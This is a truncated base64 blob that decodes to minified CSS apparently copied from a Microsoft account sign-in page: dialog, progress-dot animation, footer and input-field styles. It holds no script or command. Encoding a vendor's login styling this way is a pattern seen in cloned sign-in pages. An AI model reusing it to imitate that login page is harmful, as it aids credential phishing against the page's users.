bWF4LXdpZHRoOjM1NnB4O3dpZHRoOjgzJTt3aWR0aDpjYWxjKDkwJSAtIDI4cHgpO21heC1oZWlnaHQ6ODAlO21heC1oZWlnaHQ6Y2FsYygxMDAlIC0gODBweCk7bWFyZ2luLWxlZnQ6LTJweDttYXJnaW4tcmlnaHQ6LTJweDtib3JkZXI6MXB4IHNvbGlkICMwMDY3Yjg7YmFja2dyb3VuZC1jb2xvcjojZmZmO3otaW5kZXg6NTAwMDE7b3ZlcmZsb3c6YXV0bztvdmVyZmxvdy14OmhpZGRlbn1ib2R5LmNiIC5tb2RhbERpYWxvZ1BhZGRpbmd7cGFkZGluZzoxMXB4IDEycHggMTJweCAxMnB4fWJvZHkuY2IgLm1zYS1oZWxwQ2VsbHttYXJnaW4tYm90dG9tOjI0cHg7cG9zaXRpb246cmVsYXRpdmV9Ym9keS5jYiAubXNhLWhlbHBTVkd7ZmxvYXQ6bGVmdDtwb3NpdGlvbjphYnNvbHV0ZX1ib2R5LmNiIC5tc2EtaGVscENlbGxEaXZ7b3ZlcmZsb3c6aGlkZGVuO21hcmdpbi1sZWZ0OjQ0cHh9Ym9keS5jYiAjbGVhcm5Nb3JlTGluayxib2R5LmNiICNzaWdudXAsYm9keS5jYiAjaWRBX01TQWNjTGVhcm5Nb3Jle3doaXRlLXNwYWNlOm5vd3JhcH1ib2R5LmNiIC5tb2RhbERpYWxvZ0NvbnRlbnR7d2lkdGg6MTAwJTtwb3NpdGlvbjpyZWxhdGl2ZTttYXJnaW46MCBhdXRvfWJvZHkuY2IgLmltZy1jZW50aXBlZGV7d2lkdGg6MTAwJTttYXgtd2lkdGg6MjY2cHg7aGVpZ2h0OmF1dG99Ym9keS5jYiAuYWxpZ24tY2VudGVye21hcmdpbi1sZWZ0OmF1dG87bWFyZ2luLXJpZ2h0OmF1dG87ZGlzcGxheTppbmxpbmUtYmxvY2t9Ym9keS5jYiAjaWNkSElQIHRhYmxle3dpZHRoOjEwMCUgIWltcG9ydGFudH1ib2R5LmNiIGlucHV0LmhpcHt3aWR0aDoxMDAlICFpbXBvcnRhbnQ7cGFkZGluZzo0cHggOHB4ICFpbXBvcnRhbnQ7bWFyZ2luLXRvcDoxMnB4ICFpbXBvcnRhbnR9Ym9keS5jYiB0ciN3bHNwaXNwSElQRXJyb3JDb250YWluZXI+dGR7d2lkdGg6MTAwJSAhaW1wb3J0YW50fWJvZHkuY2IgLmhpcC1lcnJvcmljb257ZGlzcGxheTpub25lICFpbXBvcnRhbnR9Lm5vLW1hcmdpbi10b3B7bWFyZ2luLXRvcDowfS5uby1tYXJnaW4tYm90dG9te21hcmdpbi1ib3R0b206MH0ubm8tcGFkZGluZy1sZWZ0LXJpZ2h0e3BhZGRpbmctbGVmdDowO3BhZGRpbmctcmlnaHQ6MH0uZGlzcGxheS1ibG9ja3tkaXNwbGF5OmJsb2NrfS5kaXNwbGF5LWlubGluZS1ibG9ja3tkaXNwbGF5OmlubGluZS1ibG9jazt3aGl0ZS1zcGFjZTpub3dyYXB9QG1lZGlhIChtYXgtd2lkdGg6MzE5cHgpe2JvZHkuY2IgI2Z0cnttYXJnaW4tdG9wOjYwcHh9fUBtZWRpYSAobWluLWhlaWdodDo4MDBweCl7Ym9keS5jYiAjZnRye21hcmdpbi10b3A6NjBweH19QG1lZGlhIChtYXgtaGVpZ2h0OjQwMHB4KXtib2R5LmNiIC5tb2RhbERpYWxvZ0NvbnRhaW5lcnt0b3A6MDttYXgtaGVpZ2h0OjEwMCV9fS5wcm9ncmVzc3tvdmVyZmxvdzpoaWRkZW59LnByb2dyZXNzPmRpdntwb3NpdGlvbjphYnNvbHV0ZTtoZWlnaHQ6NXB4O3dpZHRoOjVweDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDY3Yjg7ei1pbmRleDoxMDA7Ym9yZGVyLXJhZGl1czo1MCU7b3BhY2l0eTowfS5wcm9ncmVzcz5pbWd7cG9zaXRpb246YWJzb2x1dGV9LnByb2dyZXNzLWNvbnRhaW5lcnt3aWR0aDoxMDAlO3Bvc2l0aW9uOnJlbGF0aXZlO21hcmdpbi10b3A6NDhweDttYXJnaW4tYm90dG9tOjI0cHg7b3V0bGluZS1jb2xvcjp0cmFuc3BhcmVudH0ucHJvZ3Jlc3MtY29udGFpbmVyLXRpbGV7d2lkdGg6MTAwJTtwb3NpdGlvbjpyZWxhdGl2ZTt0b3A6MXB4fS5wcm9ncmVzcy1jb250YWluZXItdGlsZS1jb250ZW50e3dpZHRoOjEwMCU7cG9zaXRpb246cmVsYXRpdmU7dG9wOjE1cHh9LnByb2dyZXNze3Bvc2l0aW9uOmFic29sdXRlO3RvcDowO2xlZnQ6MDtoZWlnaHQ6NXB4O3dpZHRoOjEwMCV9QGtleWZyYW1lcyBwdWxzZXtmcm9te29wYWNpdHk6LjR9fUAtby1rZXlmcmFtZXMgcHVsc2V7ZnJvbXtvcGFjaXR5Oi40fX1ALW1vei1rZXlmcmFtZXMgcHVsc2V7ZnJvbXtvcGFjaXR5Oi40fX1ALXdlYmtpdC1rZXlmcmFtZXMgcHVsc2V7ZnJvbXtvcGFjaXR5Oi40fX0uYW5pbWF0ZS1wdWxzZXstd2Via2l0LWFuaW1hdGlvbjpwdWxzZSAxcyBpbmZpbml0ZSBhbHRlcm5hdGU7LW1vei1hbmltYXRpb246cHVsc2UgMXMgaW5maW5pdGUgYWx0ZXJuYXRlOy1vLWFuaW1hdGlvbjpwdWxzZSAxcyBpbmZpbml0ZSBhbHRlcm5hdGU7YW5pbWF0aW9uOnB1bHNlIDFzIGluZmluaXRlIGFsdGVybmF0ZX0ucm93LnRpbGU6Zm9jdXMgLnByb2dyZXNzPmRpdiwucm93LnRpbGU6Zm9jdXM6aG92ZXIgLnByb2dyZXNzPmRpdiwucm93LnRpbGU6YWN0aXZlIC5wcm9ncmVzcz5kaXZ7YmFja2dyb3VuZC1jb2xvcjojZmZmfS5wcm9ncmVzcz5kaXZ7LXdlYmtpdC1hbmltYXRpb246cHJvZ3Jlc3NEb3QgMnMgaW5maW5pdGU7LW1vei1hbmltYXRpb246cHJvZ3Jlc3NEb3QgMnMgaW5maW5pdGU7LW8tYW5pbWF0aW9uOnByb2dyZXNzRG90IDJzIGluZmluaXRlO2FuaW1hdGlvbjpwcm9ncmVzc0RvdCAycyBpbmZpbml0ZX0ucHJvZ3Jlc3M+ZGl2Om50aC1jaGlsZCgxKXstd2Via2l0LWFuaW1hdGlvbi1kZWxheTouMDVzOy1tb3otYW5pbWF0aW9uLWRlbGF5Oi4wNXM7LW8tYW5pbWF0aW9uLWRlbGF5Oi4wNXM7YW5pbWF0aW9uLWRlbGF5Oi4wNXN9LnByb2dyZXNzPmRpdjpudGgtY2hpbGQoMil7LXdlYmtpdC1hbmltYXRpb24tZGVsYXk6LjJzOy1tb3otYW5pbWF0aW9uLWRlbGF5Oi4yczstby1hbmltYXRpb24tZGVsYXk6LjJzO2FuaW1hdGlvbi1kZWxheTouMnN9LnByb2dyZXNzPmRpdjpudGgtY2hpbGQoMyl7LXdlYmtpdC1hbmltYXRpb24tZGVsYXk6LjM1czstbW96LWFuaW1hdGlvbi1kZWxheTouMzVzOy1vLWFuaW1hdGlvbi1kZWxheTouMzVzO2FuaW1hdGlvbi1kZWxheTouMzVzfS5wcm9ncmVzcz5kaXY6bnRoLWNoaWxkKDQpey13ZWJraXQtYW5pbWF0aW9uLWRlbGF5Oi41czstbW96LWFuaW1hdGlvbi1kZWxheTouNXM7LW8tYW5pbWF0aW9uLWRlbGF5Oi41czthbmltYXRpb24tZGVsYXk6LjVzfS5wcm9ncmVzcz5kaXY6bnRoLWNoaWxkKDUpey13ZWJraXQtYW5pbWF0aW9uLWRlbGF5Oi42NXM7LW1vei1hbmltYXRpb24tZGVsYXk6LjY1czstby1hbmltYXRpb24tZGVsYXk6LjY1czthbmltYXRpb24tZGVsYXk6LjY1c31ALXdlYmtpdC1rZXlmcmFtZXMgcHJvZ3Jlc3NEb3R7MCUsMjAle2xlZnQ6MDstd2Via2l0LWFuaW1hdGlvbi10aW1pbmctZnVuY3Rpb246ZWFzZS1vdXQ7b3BhY2l0eTowfTI1JXtvcGFjaXR5OjF9MzUle2xlZnQ6NDUlOy13ZWJraXQtYW5pbWF0aW9uLXRpbWluZy1mdW5jdGlvbjpsaW5lYXJ9NjUle2xlZnQ6NjAlOy13ZWJraXQtYW5pbWF0aW9uLXRpbWluZy1mdW5jdGlvbjplYXNlLWlufTc1JXtvcGFjaXR5OjF9ODAlLDEwMCV7bGVmdDoxMDAlO29wYWNpdHk6MH19QC1tb3ota2V5ZnJhbWVzIHByb2dyZXNzRG90ezAlLDIwJXtsZWZ0OjA7LW1vei1hbmltYXRpb24tdGltaW5nLWZ1bmN0aW9uOmVhc2Utb3V0O29wYWNpdHk6MH0yNSV7b3BhY2l0eToxfTM1JXtsZWZ0OjQ1JTstbW96LWFuaW1hdGlvbi10aW1pbmctZnVuY3Rpb246bGluZWFyfTY1JXtsZWZ0OjYwJTstbW96LWFuaW1hdGlvbi10aW1pbmctZnVuY3Rpb246ZWFzZS1pbn03NSV7b3BhY2l0eToxfTgwJSwxMDAle2xlZnQ6MTAwJTtvcGFjaXR5OjB9fUAtby1rZXlmcmFtZXMgcHJvZ3Jlc3NEb3R7MCUsMjAle2xlZnQ6MDstby1hbmltYXRpb24tdGltaW5nLWZ1bmN0aW9uOmVhc2Utb3V0O29wYWNpdHk6MH0yNSV7b3BhY2l0eToxfTM1JXtsZWZ0OjQ1JTstby1hbmltYXRpb24tdGltaW5nLWZ1bmN0aW9uOmxpbmVhcn02NSV7bGVmdDo2MCU7LW8tYW5pbWF0aW9uLXRpbWluZy1mdW5jdGlvbjplYXNlLWlufTc1JXtvcGFjaXR5OjF9ODAlLDEwMCV7bGVmdDoxMDAlO29wYWNpdHk6MH19QGtleWZyYW1lcyBwcm9ncmVzc0RvdHswJSwyMCV7bGVmdDowO2FuaW1hdGlvbi10aW1pbmctZnVuY3Rpb246ZWFzZS1vdXQ7b3BhY2l0eTowfTI1JXtvcGFjaXR5OjF9MzUle2xlZnQ6NDUlO2FuaW1hdGlvbi10aW1pbmctZnVuY3Rpb246bGluZWFyfTY1JXtsZWZ0OjYwJTthbmltYXRpb24tdGltaW5nLWZ1bmN0aW9uOmVhc2UtaW59NzUle29wYWNpdHk6MX04MCUsMTAwJXtsZWZ0OjEwMCU7b3BhY2l0eTowfX1Aa2V5ZnJhbWVzIGZhZGVJbntmcm9te29wYWNpdHk6MH10b3tvcGFjaXR5OjF9fUAtby1rZXlmcmFtZXMgZmFkZUlue2Zyb217b3BhY2l0eTowfXRve29wYWNpdHk6MX19QC1tb3ota2V5ZnJhbWVzIGZhZGVJbntmcm9te29wYWNpdHk6MH10b3tvcGFjaXR5OjF9fUAtd2Via2l0LWtleWZyYW1lcyBmYWRlSW57ZnJvbXtvcGFjaXR5OjB9dG97b3BhY2l0eToxfX1kaXYubGlua3MgYXttYXJnaW4tbGVmdDoxNnB4O21hcmdpbi1yaWdodDoxNnB4fWRpdi5saW5rcyBhLmZpcnN0e3BhZGRpbmctbGVmdDowfWJvZHkuY2J7Y29sb3I6IzFiMWIxYjt0ZXh0LWFsaWduOmxlZnR9LmZhZGVJbnstd2Via2l0LWFuaW1hdGlvbjpmYWRlSW4gMXM7LW1vei1hbmltYXRpb246ZmFkZUluIDFzOy1vLWFuaW1hdGlvbjpmYWRlSW4gMXM7YW5pbWF0aW9uOmZhZGVJbiAxc30uYmFja2dyb3VuZEltYWdlLC5iYWNrZ3JvdW5kLWltYWdley13ZWJraXQtYW5pbWF0aW9uOmZhZGVJbiAxczstbW96LWFuaW1hdGlvbjpmYWRlSW4gMXM7LW8tYW5pbWF0aW9uOmZhZGVJbiAxczthbmltYXRpb246ZmFkZUluIDFzfS5iYWNrZ3JvdW5kLWxvZ297bWF4LXdpZHRoOjI1NnB4O21heC1oZWlnaHQ6MzZweDtkaXNwbGF5OmJsb2NrO21hcmdpbi1sZWZ0OmF1dG87bWFyZ2luLXJpZ2h0OmF1dG87LXdlYmtpdC1hbmltYXRpb246ZmFkZUluIDFzOy1tb3otYW5pbWF0aW9uOmZhZGVJbiAxczstby1hbmltYXRpb246ZmFkZUluIDFzO2FuaW1hdGlvbjpmYWRlSW4gMXN9LmJhY2tncm91bmQtbG9nby1ob2xkZXJ7aGVpZ2h0OjM2cHg7bWFyZ2luLWJvdHRvbToyNHB4fS5iYWNrZ3JvdW5kLC5iYWNrZ3JvdW5kLWltYWdlLWhvbGRlcntiYWNrZ3JvdW5kOiNmMmYyZjJ9LmJhY2tncm91bmQsLmJhY2tncm91bmQ+ZGl2LC5iYWNrZ3JvdW5kLWltYWdlLWhvbGRlciwuYmFja2dyb3VuZC1pbWFnZSwuYmFja2dyb3VuZC1pbWFnZS1zbWFsbHtwb3NpdGlvbjpmaXhlZDt0b3A6MDt3aWR0aDoxMDAlO2hlaWdodDoxMDAlfS52ZXJ0aWNhbC1zcGxpdC1tYWluLWNvbnRhaW5lciAuYmFja2dyb3VuZCwudmVydGljYWwtc3BsaXQtbWFpbi1jb250YWluZXIgLmJhY2tncm91bmQ+ZGl2LC52ZXJ0aWNhbC1zcGxpdC1tYWluLWNvbnRhaW5lciAuYmFja2dyb3VuZC1pbWFnZS1ob2xkZXIsLnZlcnRpY2FsLXNwbGl0LW1haW4tY29udGFpbmVyIC5iYWNrZ3JvdW5kLWltYWdlLC52ZXJ0aWNhbC1zcGxpdC1tYWluLWNvbnRhaW5lciAuYmFja2dyb3VuZC1pbWFnZS1zbWFsbHtwb3NpdGlvbjphYnNvbHV0ZX0uYmFja2dyb3VuZD5kaXYsLmJhY2tncm91bmQtaW1hZ2UsLmJhY2tncm91bmQtaW1hZ2Utc21hbGx7YmFja2dyb3VuZC1yZXBlYXQ6bm8tcmVwZWF0LG5vLXJlcGVhdDtiYWNrZ3JvdW5kLXBvc2l0aW9uOmNlbnRlciBjZW50ZXIsY2VudGVyIGNlbnRlcjtiYWNrZ3JvdW5kLXNpemU6Y292ZXIsY292ZXJ9LmJhY2tncm91bmQtb3ZlcmxheXtiYWNrZ3JvdW5kOnJnYmEoMCwwLDAsMC41NSk7ZmlsdGVyOnByb2dpZDpEWEltYWdlVHJhbnNmb3JtLk1pY3Jvc29mdC5ncmFkaWVudChHcmFkaWVudFR5cGU9MCwgc3RhcnRDb2xvcnN0cj1cJyM4QzAwMDAwMFwnLCBlbmRDb2xvcnN0cj1cJyM4QzAwMDAwMFwnKTtwb3NpdGlvbjphYnNvbHV0ZTt0b3A6MDt3aWR0aDoxMDAlO2hlaWdodDoxMDAlfS5mb290ZXJ7cG9zaXRpb246YWJzb2x1dGU7bGVmdDowO2JvdHRvbTowO3dpZHRoOjEwMCU7b3ZlcmZsb3c6dmlzaWJsZTt6LWluZGV4Ojk5O2NsZWFyOmJvdGg7bWluLWhlaWdodDoyOHB4fS5mb290ZXIuaGFzLWJhY2tncm91bmQsLmZvb3Rlci5oYXMtYmFja2dyb3VuZC5iYWNrZ3JvdW5kLWFsd2F5cy12aXNpYmxle2JhY2tncm91bmQtY29sb3I6cmdiYSgwLDAsMCwwLjYpO2ZpbHRlcjpwcm9naWQ6RFhJbWFnZVRyYW5zZm9ybS5NaWNyb3NvZnQuZ3JhZGllbnQoR3JhZGllbnRUeXBlPTAsIHN0YXJ0Q29sb3JzdHI9XCcjOTkwMDAwMDBcJywgZW5kQ29sb3JzdHI9XCcjOTkwMDAwMDBcJyl9ZGl2LmZvb3Rlck5vZGV7bWFyZ2luOjA7ZmxvYXQ6cmlnaHR9LmZvb3Rlci1jb250ZW50LmZvb3Rlci1pdGVte2NvbG9yOiMwMDA7Zm9udC1zaXplOjEycHg7bGluZS1oZWlnaHQ6MjhweDt3aGl0ZS1zcGFjZTpub3dyYXA7ZGlzcGxheTppbmxpbmUtYmxvY2s7bWFyZ2luLWxlZnQ6OHB4O21hcmdpbi1yaWdodDo4cHh9LmZvb3Rlci1jb250ZW50LmZvb3Rlci1pdGVtLmRlYnVnLWl0ZW17dGV4dC1kZWNvcmF0aW9uOm5vbmU7bGV0dGVyLXNwYWNpbmc6M3B4O2xpbmUtaGVpZ2h0OjIycHg7dmVydGljYWwtYWxpZ246dG9wO2ZvbnQtc2l6ZToxNnB4O2ZvbnQtd2VpZ2h0OjYwMH0uZm9vdGVyLWNvbnRlbnQuZm9vdGVyLWl0ZW0uaGFzLWJhY2tncm91bmQsLmZvb3Rlci1jb250ZW50LmZvb3Rlci1pdGVtLmRlYnVnLWl0ZW0uaGFzLWJhY2tncm91bmQsLmZvb3Rlci1jb250ZW50LmZvb3Rlci1pdGVtLmhhcy1iYWNrZ3JvdW5kLmJhY2tncm91bmQtYWx3YXlzLXZpc2libGUsLmZvb3Rlci1jb250ZW50LmZvb3Rlci1pdGVtLmRlYnVnLWl0ZW0uaGFzLWJhY2tncm91bmQuYmFja2dyb3VuZC1hbHdheXMtdmlzaWJsZXtjb2xvcjojZmZmfS5vdXRlcntkaXNwbGF5OnRhYmxlO3Bvc2l0aW9uOmFic29sdXRlO2hlaWdodDoxMDAlO3dpZHRoOjEwMCV9LnRvcHtkaXNwbGF5OnRhYmxlLWNlbGw7dmVydGljYWwtYWxpZ246dG9wfS5taWRkbGV7ZGlzcGxheTp0YWJsZS1jZWxsO3ZlcnRpY2FsLWFsaWduOm1pZGRsZX0uZGVidWctZGV0YWlscy1iYW5uZXJ7d2lkdGg6Y2FsYygxMDAlIC0gNDBweCk7cGFkZGluZzo0NHB4O21hcmdpbi1ib3R0b206MjhweDtwb3NpdGlvbjpyZWxhdGl2ZTttYXJnaW4tbGVmdDphdXRvO21hcmdpbi1yaWdodDphdXRvO2NvbG9yOiMxYjFiMWI7YmFja2dyb3VuZC1jb2xvcjojZmZmO3BhZGRpbmc6MjRweCA0NHB4O2ZvbnQtc2l6ZToxM3B4O21heC13aWR0aDo0NDBweDttaW4td2lkdGg6MzIwcHg7LXdlYmtpdC1ib3gtc2hhZG93OjAgMnB4IDZweCByZ2JhKDAsMCwwLDAuMik7LW1vei1ib3gtc2hhZG93OjAgMnB4IDZweCByZ2JhKDAsMCwwLDAuMik7Ym94LXNoYWRvdzowIDJweCA2cHggcmdiYSgwLDAsMCwwLjIpfS5kZWJ1Zy1kZXRhaWxzLWJhbm5lciAudGFibGUtY2VsbDpmaXJzdC1jaGlsZHt3aWR0aDoxMDAlfS5kZWJ1Zy1kZXRhaWxzLWJhbm5lciAub3ZlcnJpZGUtbHRye3RleHQtYWxpZ246bGVmdH0uZGVidWctZGV0YWlscy1iYW5uZXIgLmRlYnVnLWRldGFpbHMtaGVhZGVye21hcmdpbi1ib3R0b206MTBweH0uZGVidWctZGV0YWlscy1iYW5uZXIgLmRlYnVnLWRldGFpbHMtaGVhZGluZy10ZXh0e2ZvbnQtc2l6ZToxNXB4fS5kZWJ1Zy1kZXRhaWxzLWJhbm5lciAuZGVidWctdHJhY2Utc2VjdGlvbnttYXJnaW4tdG9wOjEwcHh9LmRlYnVnLWRldGFpbHMtYmFubmVyIC5kZWJ1Zy1kZXRhaWxzLW5vdGlmaWNhdGlvbnttYXJnaW4tbGVmdDo1cHg7Y29sb3I6IzEwN2MxMH0udmVydGljYWwtc3BsaXQtbWFpbi1jb250YWluZXIgLmRlYnVnLWRldGFpbHMtYmFubmVye3BhZGRpbmctbGVmdDoxNHB4O3BhZGRpbmctcmlnaHQ6MTRweDt0YWJsZS1sYXlvdXQ6YXV0b30uaW5uZXIsLnNpZ24taW4tYm94e21hcmdpbi1sZWZ0OmF1dG87bWFyZ2luLXJpZ2h0OmF1dG87cG9zaXRpb246cmVsYXRpdmU7bWF4LXdpZHRoOjQ0MHB4O3dpZHRoOmNhbGMoMTAwJSAtIDQwcHgpO3BhZGRpbmc6NDRweDttYXJnaW4tYm90dG9tOjI4cHg7YmFja2dyb3VuZC1jb2xvcjojZmZmOy13ZWJraXQtYm94LXNoYWRvdzowIDJweCA2cHggcmdiYSgwLDAsMCwwLjIpOy1tb3otYm94LXNoYWRvdzowIDJweCA2cHggcmdiYSgwLDAsMCwwLjIpO2JveC1zaGFkb3c6MCAycHggNnB4IHJnYmEoMCwwLDAsMC4yKTttaW4td2lkdGg6MzIwcHg7bWluLWhlaWdodDozMzhweDtvdmVyZmxvdzpoaWRkZW59LmlubmVyLnRyYW5zcGFyZW50LWxpZ2h0Ym94LC5zaWduLWluLWJveC50cmFuc3BhcmVudC1saWdodGJveHtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMjU1LDI1NSwyNTUsMC42NSl9LmlubmVyLmhhcy1wb3B1cCwuc2lnbi1pbi1ib3guaGFzLXBvcHVwe21hcmdpbi1ib3R0b206MjBweH1hOmhvdmVye3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmV9LnByb21vdGVkLWZlZC1jcmVkLWJveHttYXJnaW4tbGVmdDphdXRvO21hcmdpbi1yaWdodDphdXRvO3Bvc2l0aW9uOnJlbGF0aXZlO21heC13aWR0aDo0NDBweDt3aWR0aDpjYWxjKDEwMCUgLSA0MHB4KTtwYWRkaW5nOjQ0cHg7bWFyZ2luLWJvdHRvbToyOHB4O2xpbmUtaGVpZ2h0OjE2cHg7bWluLXdpZHRoOjMyMHB4O3BhZGRpbmc6MH0ucHJvbW90ZWQtZmVkLWNyZWQtYm94Pip7d29yZC13cmFwOmJyZWFrLXdvcmR9LnByb21vdGVkLWZlZC1jcmVkLWNvbnRlbnR7YmFja2dyb3VuZC1jb2xvcjojZmZmOy13ZWJraXQtYm94LXNoYWRvdzowIDJweCA2cHggcmdiYSgwLDAsMCwwLjIpOy1tb3otYm94LXNoYWRvdzowIDJweCA2cHggcmdiYSgwLDAsMCwwLjIpO2JveC1zaGFkb3c6MCAycHggNnB4IHJnYmEoMCwwLDAsMC4yKTtwYWRkaW5nLWxlZnQ6NDRweDtwYWRkaW5nLXJpZ2h0OjQ0cHh9LnByb21vdGVkLWZlZC1jcmVkLWNvbnRlbnQudHJhbnNwYXJlbnQtbGlnaHRib3h7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDI1NSwyNTUsMjU1LDAuNjUpfS5wcm9tb3RlZC1mZWQtY3JlZC1jb250ZW50IC5yb3cudGlsZSAudGFibGV7cGFkZGluZy10b3A6OHB4O3BhZGRpbmctYm90dG9tOjhweH0ubmV3LXNlc3Npb24tcG9wdXAtdjJzc297bWFyZ2luLWxlZnQ6YXV0bzttYXJnaW4tcmlnaHQ6YXV0bztwb3NpdGlvbjpyZWxhdGl2ZTttYXgtd2lkdGg6NDQwcHg7d2lkdGg6Y2FsYygxMDAlIC0gNDBweCk7cGFkZGluZzo0NHB4O21hcmdpbi1ib3R0b206MjhweDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7LXdlYmtpdC1ib3gtc2hhZG93OjAgMnB4IDZweCByZ2JhKDAsMCwwLDAuMik7LW1vei1ib3gtc2hhZG93OjAgMnB4IDZweCByZ2JhKDAsMCwwLDAuMik7Ym94LXNoYWRvdzowIDJweCA2cHggcmdiYSgwLDAsMCwwLjIpO2xpbmUtaGVpZ2h0OjE2cHg7bWluLXdpZHRoOjMyMHB4O3BhZGRpbmctdG9wOjI0cHg7cGFkZGluZy1ib3R0b206MjRweH0ubmV3LXNlc3Npb24tcG9wdXAtdjJzc28udHJhbnNwYXJlbnQtbGlnaHRib3h7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDI1NSwyNTUsMjU1LDAuNjUpfS5uZXctc2Vzc2lvbi1wb3B1cC12MnNzbz4qe3dvcmQtd3JhcDpicmVhay13b3JkfS50ZW1wbGF0ZS1zZWN0aW9ue2Rpc3BsYXk6dGFibGUtcm93fS50ZW1wbGF0ZS1zZWN0aW9uLm1haW4tc2VjdGlvbntoZWlnaHQ6MTAwJX0udGVtcGxhdGUtaGVhZGVyLWNvbnRhaW5lcntkaXNwbGF5OnRhYmxlLWNlbGw7cG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJX0uaGVhZGVye3dpZHRoOjEwMCU7aGVpZ2h0OjQ4cHg7cGFkZGluZzoxMnB4IDI0cHg7Ym94LXNoYWRvdzowIDJweCA2cHggcmdiYSgwLDAsMCwwLjIpfS5oZWFkZXItbG9nb3ttYXgtaGVpZ2h0OjI0cHg7bWF4LXdpZHRoOjE1MHB4fS5oYXMtaGVhZGVye3BhZGRpbmctdG9wOjQ4cHh9LnRlbXBsYXRlLW1haW4tY29udGFpbmVye2Rpc3BsYXk6dGFibGUtY2VsbH0ubGlnaHRib3gtYm90dG9tLW1hcmdpbi1kZWJ1Z3ttYXJnaW4tYm90dG9tOjI4cHh9LnZlcnRpY2FsLXNwbGl0LW1haW4tY29udGFpbmVye3BhZGRpbmctYm90dG9tOjI4cHh9LnZlcnRpY2FsLXNwbGl0LW1haW4tc2VjdGlvbntkaXNwbGF5OnRhYmxlO2hlaWdodDoxMDAlO3dpZHRoOjEwMCV9LnZlcnRpY2FsLXNwbGl0LW1haW4tc2VjdGlvbiAuYm9pbGVycGxhdGUtdGV4dCwudmVydGljYWwtc3BsaXQtbWFpbi1zZWN0aW9uIC5ib2lsZXJwbGF0ZS10ZXh0LnRyYW5zcGFyZW50LWxpZ2h0Ym94e2JhY2tncm91bmQtY29sb3I6dHJhbnNwYXJlbnR9LnZlcnRpY2FsLWxpZ2h0Ym94LWNvbnRhaW5lcnt3aWR0aDo1MDBweH0udmVydGljYWwtbGlnaHRib3gtY29udGFpbmVyIC5iYWNrZ3JvdW5kLWxvZ28taG9sZGVye3BhZGRpbmc6MCA0NHB4O21hcmdpbi10b3A6NDRweH0udmVydGljYWwtc3BsaXQtY29udGVudHtib3gtc2hhZG93Om5vbmU7bWFyZ2luLWJvdHRvbTowO21pbi13aWR0aDo1MDBweH0udmVydGljYWwtc3BsaXQtY29udGVudCAuYm9pbGVycGxhdGUtdGV4dHttYXJnaW4tYm90dG9tOjB9LnZlcnRpY2FsLXNwbGl0LWJhY2tncm91bmQtaW1hZ2UtY29udGFpbmVye3Bvc2l0aW9uOnJlbGF0aXZlO2hlaWdodDoxMDAlfS53aWRle21heC13aWR0aDo2NDBweH1wcmV7Zm9udC1mYW1pbHk6aW5oZXJpdH0ucHJlLXdyYXAtZm9ybWF0e3doaXRlLXNwYWNlOnByZS13cmFwO3dvcmQtd3JhcDpicmVhay13b3JkO292ZXJmbG93LXg6aGlkZGVufS50ZXh0LWlucHV0LGlucHV0W3R5cGU9ImNvbG9yIl0saW5wdXRbdHlwZT0iZGF0ZSJdLGlucHV0W3R5cGU9ImRhdGV0aW1lIl0saW5wdXRbdHlwZT0iZGF0ZXRpbWUtbG9jYWwiXSxpbnB1dFt0eXBlPSJlbWFpbCJdLGlucHV0W3R5cGU9Im1vbnRoIl0saW5wdXRbdHlwZT0ibnVtYmVyIl0saW5wdXRbdHlwZT0icGFzc3dvcmQiXSxpbnB1dFt0eXBlPSJzZWFyY2giXSxpbnB1dFt0eXBlPSJ0ZWwiXSxpbnB1dFt0eXBlPSJ0ZXh0Il0saW5wdXRbdHlwZT0idGltZSJdLGlucHV0W3R5cGU9InVybCJdLGlucHV0W3R5cGU9IndlZWsiXSx0ZXh0YXJlYSxzZWxlY3R7cGFkZGluZzo2cHggMTBweDtib3JkZXItd2lkdGg6MXB4O2JvcmRlci1jb2xvcjojNjY2O2JvcmRlci1jb2xvcjpyZ2JhKDAsMCwwLDAuNik7aGVpZ2h0OjM2cHg7b3V0bGluZTpub25lO2JvcmRlci1yYWRpdXM6MDstd2Via2l0LWJvcmRlci1yYWRpdXM6MDtiYWNrZ3JvdW5kLWNvbG9yOnRyYW5zcGFyZW50fS50ZXh0LWlucHV0LWhvdmVyLGlucHV0W3R5cGU9ImNvbG9yIl06aG92ZXIsaW5wdXRbdHlwZT0iZGF0ZSJdOmhvdmVyLGlucHV0W3R5cGU9ImRhdGV0aW1lIl06aG92ZXIsaW5wdXRbdHlwZT0iZGF0ZXRpbWUtbG9jYWwiXTpob3ZlcixpbnB1dFt0eXBlPSJlbWFpbCJdOmhvdmVyLGlucHV0W3R5cGU9Im1vbnRoIl06aG92ZXIsaW5wdXRbdHlwZT0ibnVtYmVyIl06aG92ZXIsaW5wdXRbdHlwZT0icGFzc3dvcmQiXTpob3ZlcixpbnB1dFt0eXBlPSJzZWFyY2giXTpob3ZlcixpbnB1dFt0eXBlPSJ0ZWwiXTpob3ZlcixpbnB1dFt0eXBlPSJ0ZXh0Il06aG92ZXIsaW5wdXRbdHlwZT0idGltZSJdOmhvdmVyLGlucHV0W3R5cGU9InVybCJdOmhvdmVyLGlucHV0W3R5cGU9IndlZWsiXTpob3Zlcix0ZXh0YXJlYTpob3ZlcixzZWxlY3Q6aG92ZXJ7Ym9yZGVyLWNvbG9yOiMzMjMyMzI7Ym9yZGVyLWNvbG9yOnJnYmEoMCwwLDAsMC44KX0udGV4dC1pbnB1dC1mb2N1cyxpbnB1dFt0eXBlPSJjb2xvciJdOmZvY3VzLGlucHV0W3R5cGU9ImRhdGUiXTpmb2N1cyxpbnB1dFt0eXBlPSJkYXRldGltZSJdOmZvY3VzLGlucHV0W3R5cGU9ImRhdGV0aW1lLWxvY2FsIl06Zm9jdXMsaW5wdXRbdHlwZT0iZW1haWwiXTpmb2N1cyxpbnB1dFt0eXBlPSJtb250aCJdOmZvY3VzLGlucHV0W3R5cGU9Im51bWJlciJdOmZvY3VzLGlucHV0W3R5cGU9InBhc3N3b3JkIl06Zm9jdXMsaW5wdXRbdHlwZT0ic2VhcmNoIl06Zm9jdXMsaW5wdXRbdHlwZT0idGVsIl06Zm9jdXMsaW5wdXRbdHlwZT0idGV4dCJdOmZvY3VzLGlucHV0W3R5cGU9InRpbWUiXTpmb2N1cyxp